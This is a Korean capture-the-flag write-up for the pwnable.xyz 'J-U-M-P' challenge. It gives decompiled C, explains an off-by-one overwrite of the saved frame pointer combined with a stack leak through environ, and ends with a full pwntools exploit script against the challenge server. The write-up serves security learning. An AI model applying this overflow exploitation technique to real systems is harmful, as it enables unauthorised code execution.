[pwnable.xyz]J-U-M-P

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned __int8 v3; // [rsp+2Fh] [rbp-11h]
  __int64 v4; // [rsp+30h] [rbp-10h]
  void *v5; // [rsp+38h] [rbp-8h]

  setup();
  v4 = gen_canary();                            // canary
  puts("Jump jump\nThe Mac Dad will make you jump jump\nDaddy Mac will make you jump jump\nThe Daddy makes you J-U-M-P\n");
  v5 = &loc_BA0;
  while ( 1 )
  {
    print_menu();
    printf("> ", argv);
    v3 = read_int8();
    switch ( v3 )
    {
      case 2u:
        v5 = (void *)(signed int)((unsigned int)v5 ^ v3);
        break;
      case 3u:
        argv = (const char **)environ;
        printf("%p\n", environ);
        break;
      case 1u:
        if ( v4 == canary )
          JUMPOUT(__CS__, v5);
        break;
      default:
        puts("Invalid");
        break;
    }
  }
}

read_int8함수에서 buf 크기가 0x20인데 0x21만큼 받으므로 sfp 1바이트를 조작할 수 있다.

int read_int8()
{
  char buf; // [rsp+0h] [rbp-20h]

  read(0, &buf, 33uLL);
  return atoi(&buf);
}

3번 메뉴로 stack address leak이 가능하고 1번 메뉴에서 v5로 뛸 수 있으므로 v5만 변조해주면 win함수를 호출할 수 있다.

main의 rbp를 옮겨서 v5위치에 v3를 만들어 win함수의 하위 1바이트로 변경해주고 canary가 걸려있으니까 rbp를 다시 되돌려준 후 JUMP 뛰면 win함수로 뛰게된다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30012)
win = 0xB77
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)

sla('>','3')
env = int(p.recvline().strip(),16)
log.info('environ : {}'.format(hex(env)))
rbp = env - 248
log.info('rbp : {}'.format(hex(rbp)))

sa('>','A'*32+p8((rbp&0xff)+9))
sa('>',str(win&0xff))
sa('>','A'*32+p8(rbp&0xff))
sa('>','1')

p.interactive()